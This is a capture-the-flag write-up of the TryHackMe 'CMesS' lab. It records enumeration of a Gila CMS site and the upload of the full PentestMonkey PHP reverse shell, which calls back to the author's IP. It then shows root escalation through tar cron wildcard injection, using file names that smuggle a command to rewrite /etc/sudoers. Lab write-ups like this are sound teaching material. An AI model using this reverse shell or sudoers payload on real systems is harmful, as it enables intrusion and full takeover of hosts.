CMesS

TryHackMe | CMesS

Enumeration

nmap

I started with a basic scan to identify open ports:

sudo nmap -sS cmess.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 15:58 -03
Nmap scan report for cmess.thm (10.10.172.41)
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.47 seconds

Then I ran a more aggressive scan against those ports:

sudo nmap -sS cmess.thm -p80,22 -A
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 15:59 -03
Nmap scan report for cmess.thm (10.10.172.41)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   180.97 ms 10.13.0.1
2   ... 3
4   321.30 ms cmess.thm (10.10.172.41)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.59 seconds

Interesting Info:

  • SSH: OpenSSH 7.2p2 (Ubuntu)
  • HTTP: Apache 2.4.18 + Gila CMS
  • The robots.txt file disallowed: /src/, /themes/, /lib/

HTTP - Enumeration

Discovering directories with Gobuster

I used gobuster to find hidden directories:

gobuster dir -u  http://cmess.thm/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,php --no-error

Found:

  • /admin
  • /blog
  • /feed
  • /fm

Subdomain brute-force with Wfuzz

Discovered subdomain: dev.cmess.thm using wfuzz

wfuzz -c -w /usr/share/wordlists/subdomain/subdomains-1000.txt -u  http://cmess.thm -H "Host: FUZZ.cmess.thm" --hw 290
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://cmess.thm/
Total requests: 999

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                                                                                                      
=====================================================================

000000021:   200        30 L     104 W      934 Ch      "dev"

Exploit

Search for the exploit on google:

Offensive Security’s Exploit Database Archive

I tried exploiting a LFI on the /admin/fm/ panel to read /etc/passwd, but the payload didn’t work.

However, accessing just /fm revealed a file manager panel!

I created a shell.php file using the classic PentestMonkey reverse shell, pointed it to my IP and port 1234.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.13.39.32';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Open a listener and shell successfully received.

Stabilizing the Shell

python3 -c 'import pty;pty.spawn("/bin/bash")

Privilege Escalation - Part 1

Looks like we don’t have access to /home/andre.

Found something interesting while searching for the user.txt flag in /tmp folder by manual enumeration:

While manually enumerating, I noticed weird files in the /tmp folder and suspected a scheduled backup task.

I found a recurring backup job.

Yes found some backup task and maybe it’s vulnerable by cron wildcards, but I cant do much without access to andre’s folder.

To enhance the enumeration process, I ran linpeas.sh. First, I set up a Python3 web server on my machine to transfer the script to the target:

python3 -m http.server 80

Download into /tmp folder with wget, set permissions and run.

Linpeas popup the schedule task

This one was hard to notice, a .bak file named password.

Tried it using su andre—and it worked! ✨

Then I closed the reverse shell and opened a stable SSH session:

First flag.

At this point I know that is possible to privesc with cron wildcards

Privilege Escalation - Part 2

Since I knew there was a scheduled task possible with wildcards vulnerable, I exploited it using cron wildcard injection to escalate privileges.

I created these files to privesc to root:

echo 'echo "andre ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "" > "--checkpoint-action=exec=sh privesc.sh"
echo "" > --checkpoint=1

Waited a minute for the cron job to trigger, then ran: sudo bash.